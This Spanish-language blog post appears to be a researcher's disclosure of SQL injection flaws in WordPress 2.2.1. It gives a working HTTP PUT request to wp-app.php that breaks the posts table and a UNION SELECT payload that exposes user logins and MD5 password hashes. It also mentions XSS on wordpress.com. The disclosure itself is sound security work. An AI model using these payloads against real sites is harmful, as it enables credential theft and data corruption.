WordPress: Más vulnerabilidades de inyección de SQL

Puesto que en estos días ando algo ocupado y sin muchas ideas para publicar, aprovecharé la oleada de reportes de seguridad en WordPress para comentar algunos bugs que todavía no están corregidos en la versión 2.2.1 ni en la versión en desarrollo, a pesar de que los reporté hace como dos o tres semanas.

Primera variante

Se puede reproducir en las funciones create_post, put_post y put_attachment de wp-app.php, este error se produce porque no escapan adecuadamente todos los caracteres potencialmente peligrosos en los datos que son enviados a ésta página. Esta es la única función que actúa sobre esos datos:

php:
function xml_escape($string)
{
         return str_replace(array('&','"',"'",'<','>'),
                array('&amp;','&quot;','&apos;','&lt;','&gt;'),
                $string );
}

El siguiente ejemplo muestra una petición HTTP que arruinará los contenidos de la tabla wp_posts, en este caso se usa el método put_post.

code:
PUT /wp/wp-app.php?action=/post/55 HTTP/1.1
Cookie: auth cookies
Content-Type: application/atom+xml
Host: localhost
Content-Length: 170

<feed>
    <entry>
        <id>http://localhost/wp/archivos/titulo-modificado/</id>
        <title type="html">foo\</title>
        <summary type="html">/*</summary>       
    </entry>
</feed>

Al realizar esa petición HTTP, la consulta ejecutada será:

sql:
UPDATE IGNORE wp_svn_posts SET
                        post_author = '1',
                        post_date = '2007-06-27 22:57:05',
                        post_date_gmt = '2007-06-28 03:57:05',
                        post_content = '',
                        post_content_filtered = '',
                        post_title = 'foo\',
                        post_excerpt = '/*',
                        post_status = 'publish',
                        post_type = 'post',
                        comment_status = 'open',
                        ping_status = 'open',
                        post_password = '',
                        post_name = 'test',
                        to_ping = '',
                        pinged = '',
                        post_modified = '2007-07-12 23:05:39',
                        post_modified_gmt = '2007-07-13 04:05:39',
                        post_parent = '0',
                        menu_order = '0'
                        WHERE ID = 55
 

Segunda variante

Esta variante está en estrecha relación a lo discutido en "PHP: Uso adecuado de parse_str", en esta entrada, a pesar de que existen más lugares donde se puede hacer lo mismo, sólo mostraré un caso específico.

En el widget para mostrar páginas, existe una opción que permite indicar los IDs de las páginas a excluir, este valor se almacena sin casi ningún tipo de validación (sólo se aplica strip_tags). Si hacemos que ese parámetro tenga el siguiente valor (puede variar de acuerdo a la versión que usen), en la página principal del blog se mostrará la lista de usuarios con su respectiva contraseña en MD5.

code:
2&hierarchical=0&meta_key=2') UNION ALL SELECT 1,1,2,3,4,concat(user_login,0x7C,user_pass),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27 FROM wp_svn_users/*&meta_value=1

Usando este mismo método, es posible realizar ataques XSS en wordpress.com (ver demo, funciona en IE y algunas veces en Firefox), en este caso, las vulnerabilidades de XSS son más peligrosas porque las cookies son globales, es decir, se comparten entre todos los subdominios de wordpress.com.

2 Replies to “WordPress: Más vulnerabilidades de inyección de SQL”

Comments are closed.